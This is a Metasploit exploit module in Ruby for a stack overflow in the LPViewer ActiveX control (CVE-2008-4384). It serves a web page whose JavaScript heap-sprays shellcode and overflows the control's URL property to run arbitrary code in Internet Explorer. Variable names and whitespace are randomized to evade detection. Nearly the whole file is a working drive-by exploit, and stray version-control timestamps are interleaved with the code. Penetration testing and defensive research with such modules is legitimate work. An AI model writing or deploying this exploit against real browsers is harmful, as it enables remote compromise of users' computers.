2008-10-14 13:41:52 +00:00
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###
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## This file is part of the Metasploit Framework and may be subject to
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## redistribution and commercial restrictions. Please see the Metasploit
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## Framework web site for more information on licensing and terms of use.
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2009-04-13 14:33:26 +00:00
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## http://metasploit.com/framework/
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2008-10-14 13:41:52 +00:00
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###
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'iseemedia / Roxio / MGI Software LPViewer ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in LPViewer ActiveX control (LPControll.dll 3.2.0.2). When
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sending an overly long string to the URL() property an attacker may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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2009-04-13 14:33:26 +00:00
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'Version' => '$Revision$',
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2008-10-14 13:41:52 +00:00
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'References' =>
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[
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[ 'CVE', '2008-4384' ],
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2009-10-12 14:39:51 +00:00
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[ 'OSVDB', '48946' ],
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[ 'US-CERT-VU', '848873' ],
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2008-10-14 13:41:52 +00:00
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[ 'BID', '31604' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0C0C0C0C } ]
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],
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'DisclosureDate' => 'Oct 6 2008',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Create some nops.
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nops = Rex::Text.to_unescape(make_nops(4))
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# Set the return.
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ret = Rex::Text.uri_encode([target.ret].pack('L'))
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# Randomize the javascript variable names.
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vname = rand_text_alpha(rand(100) + 1)
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var_i = rand_text_alpha(rand(30) + 2)
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rand1 = rand_text_alpha(rand(100) + 1)
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rand2 = rand_text_alpha(rand(100) + 1)
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rand3 = rand_text_alpha(rand(100) + 1)
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rand4 = rand_text_alpha(rand(100) + 1)
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rand5 = rand_text_alpha(rand(100) + 1)
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rand6 = rand_text_alpha(rand(100) + 1)
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rand7 = rand_text_alpha(rand(100) + 1)
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rand8 = rand_text_alpha(rand(100) + 1)
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content = %Q|
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<html>
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<head>
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<script>
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try {
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var #{vname} = new ActiveXObject('LPViewer.LPViewer.1');
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var #{rand1} = unescape('#{shellcode}');
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var #{rand2} = unescape('#{nops}');
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var #{rand3} = 20;
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var #{rand4} = #{rand3} + #{rand1}.length;
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while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
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var #{rand5} = #{rand2}.substring(0,#{rand4});
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var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
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while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
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var #{rand7} = new Array();
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for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
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var #{rand8} = "";
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for (#{var_i} = 0; #{var_i} < 1224; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
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#{vname}.URL = #{rand8};
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} catch( e ) { window.location = 'about:blank' ; }
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</script>
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</head>
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</html>
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content = Rex::Text.randomize_space(content)
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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2009-10-12 14:39:51 +00:00
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end
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